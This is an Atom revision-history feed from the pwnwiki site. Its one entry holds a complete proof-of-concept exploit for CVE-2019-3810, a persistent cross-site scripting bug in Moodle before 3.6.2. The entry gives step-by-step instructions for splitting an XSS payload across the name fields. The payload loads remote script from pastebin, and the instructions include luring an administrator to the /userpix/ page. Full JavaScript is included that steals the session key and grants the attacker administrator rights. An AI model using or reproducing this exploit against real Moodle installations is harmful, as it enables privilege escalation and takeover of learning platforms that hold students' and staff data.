<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-3810_Moodle_3.6.1_XSS%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2019-3810 Moodle 3.6.1 XSS漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2019-3810_Moodle_3.6.1_XSS%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-3810_Moodle_3.6.1_XSS%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-14T10:43:35Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2019-3810_Moodle_3.6.1_XSS%E6%BC%8F%E6%B4%9E&amp;diff=1956&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==XSS== &lt;pre&gt; # Exploit Title: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS) # Date: 04/2021 # Exploit Author: farisv # Vendor Homepage: https://moodle.org/ # Software...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2019-3810_Moodle_3.6.1_XSS%E6%BC%8F%E6%B4%9E&amp;diff=1956&amp;oldid=prev"/>
		<updated>2021-04-30T10:14:21Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==XSS== &amp;lt;pre&amp;gt; # Exploit Title: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS) # Date: 04/2021 # Exploit Author: farisv # Vendor Homepage: https://moodle.org/ # Software...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==XSS==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)&lt;br /&gt;
# Date: 04/2021&lt;br /&gt;
# Exploit Author: farisv&lt;br /&gt;
# Vendor Homepage: https://moodle.org/&lt;br /&gt;
# Software Link: https://download.moodle.org https://github.com/moodle/moodle/archive/refs/tags/v3.6.1.zip&lt;br /&gt;
# Version: Moodle &amp;lt; 3.6.2, &amp;lt; 3.5.4, &amp;lt; 3.4.7, &amp;lt; 3.1.16&lt;br /&gt;
# CVE: CVE-2019-3810&lt;br /&gt;
&lt;br /&gt;
Moodle is a learning platform designed to provide educators, administrators,&lt;br /&gt;
and learners with a single robust, secure and integrated system to create&lt;br /&gt;
personalised learning environments.&lt;br /&gt;
&lt;br /&gt;
The following is PoC to use the XSS bug on /userpix/ (CVE-2019-3810) for&lt;br /&gt;
privilege escalation from student to administrator.&lt;br /&gt;
&lt;br /&gt;
1. Upload the XSS payload [1] to pastebin or other similar service.&lt;br /&gt;
   Change the value of userid to your own id.&lt;br /&gt;
   Let's say the URL is https://pastebin.com/raw/xxxxxxxx.&lt;br /&gt;
2. Login to your student account.&lt;br /&gt;
3. Set first name with:&lt;br /&gt;
   &amp;quot; style=&amp;quot;position:fixed;height:100%;width:100%;top:0;left:0&amp;quot; onmouseover=&amp;quot;x=document.createElement&lt;br /&gt;
4. Set surname with:&lt;br /&gt;
  ('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')&lt;br /&gt;
5. Ask the administrator to open /userpix/ page or put the link to that page&lt;br /&gt;
   on your post and wait.&lt;br /&gt;
&lt;br /&gt;
If successful, your account will be added as administrator.&lt;br /&gt;
&lt;br /&gt;
See the demonstration video on https://github.com/farisv/Moodle-CVE-2019-3810&lt;br /&gt;
&lt;br /&gt;
[1] XSS Payload for privilege escalation on Moodle. Change the value of userid to your id.&lt;br /&gt;
&lt;br /&gt;
var webroot = '/';&lt;br /&gt;
var userid = '3';&lt;br /&gt;
var sesskey = '';&lt;br /&gt;
&lt;br /&gt;
function get(path, success) {&lt;br /&gt;
    var xhr = new XMLHttpRequest();&lt;br /&gt;
    xhr.open('GET', webroot + path);&lt;br /&gt;
    xhr.onreadystatechange = function() {&lt;br /&gt;
        if (xhr.readyState &amp;gt; 3 &amp;amp;&amp;amp; xhr.status == 200) {&lt;br /&gt;
            success(xhr.responseText);&lt;br /&gt;
        }&lt;br /&gt;
    };&lt;br /&gt;
    xhr.send();&lt;br /&gt;
    return xhr;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function post(path, data, success) {&lt;br /&gt;
    var xhr = new XMLHttpRequest();&lt;br /&gt;
    xhr.open('POST', webroot + path);&lt;br /&gt;
    xhr.onreadystatechange = function() {&lt;br /&gt;
        if (xhr.readyState &amp;gt; 3 &amp;amp;&amp;amp; xhr.status == 200) {&lt;br /&gt;
            success(xhr.responseText);&lt;br /&gt;
        }&lt;br /&gt;
    };&lt;br /&gt;
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');&lt;br /&gt;
    xhr.send(encodeURI(data));&lt;br /&gt;
    return xhr;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function setAdmin() {&lt;br /&gt;
    // Assign administrator access to userid&lt;br /&gt;
    bpath = 'admin/roles/admins.php';&lt;br /&gt;
    data = &amp;quot;confirmadd=&amp;quot; + userid + &amp;quot;&amp;amp;sesskey=&amp;quot; + sesskey;&lt;br /&gt;
    post(bpath, data, function(data){});&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function getSesskey(data) {&lt;br /&gt;
    var sesskey_find = data.indexOf('&amp;quot;sesskey&amp;quot;:&amp;quot;');&lt;br /&gt;
    sesskey = data.substr(sesskey_find + 11, 10);&lt;br /&gt;
    setAdmin();&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function payload() {&lt;br /&gt;
    // We can find Sesskey inside JS script in main page&lt;br /&gt;
    get('', getSesskey);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// Start&lt;br /&gt;
payload();&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>